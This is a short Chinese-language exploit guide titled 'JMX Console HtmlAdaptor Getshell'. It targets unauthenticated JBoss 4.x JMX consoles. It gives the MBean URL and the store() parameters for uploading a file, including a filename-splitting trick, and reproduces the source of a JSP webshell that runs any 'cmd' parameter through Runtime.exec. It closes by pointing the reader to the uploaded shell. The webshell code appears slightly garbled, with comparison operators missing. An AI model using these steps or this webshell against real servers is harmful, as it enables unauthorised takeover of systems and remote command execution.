JMX Console HtmlAdaptor Getshell
漏洞简介
此漏洞主要是由于JBoss中 /jmx-console/HtmlAdaptor 路径对外开放,并且没有任何身份验证机制,导致攻击者可以进入到jmx控制台,并在其中执行任何功能。该漏洞利用的是后台中 jboss.admin ->DeploymentFileRepository -> store() 方法,通过向四个参数传入信息,达到上传shell的目的,其中arg0传入的是部署的war包名字,arg1传入的是上传的文件的文件名,arg2传入的是上传文件的文件格式,arg3传入的是上传文件中的内容。通过控制这四个参数即可上传shell,控制整台服务器。但是通过实验发现,arg1和arg2可以进行文件的拼接,例如 arg1=she,arg2=ll.jsp 。这个时候服务器还是会进行拼接,将 shell.jsp 传入到指定路径下。
影响版本
jboss4.x以下
漏洞利用
利用后台中 jboss.admin -> DeploymentFileRepository -> store() 方法
payload
http://xx.xx.xx.xx/jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.admin:service=DeploymentFileRepository
通过访问上面的url定位到 store() 方法
输入对应的内容
jsp木马文件
<%@ page import="java.io.*" %> <% String cmd =request.getParameter("cmd"); String output = ""; if(cmd null) {String s = null; try { Process p =
Runtime.getRuntime().exec(cmd);BufferedReader sI = new BufferedReader(newInputStreamReader(p.getInputStream())); while((s = sI.readLine()) null) { output += s +"\r\n"; } } catch(IOException e) {e.printStackTrace(); } } out.println(output);%>
查看是否写入成功
Invoke 之后会将 p1 参数创建 war 包,把 p2 和 p3 两个参数加起来当作文件名, p4 是文件写入的内容最后访问 http://xx.xx.xx.xx/webshell1/webshell.jsp 即可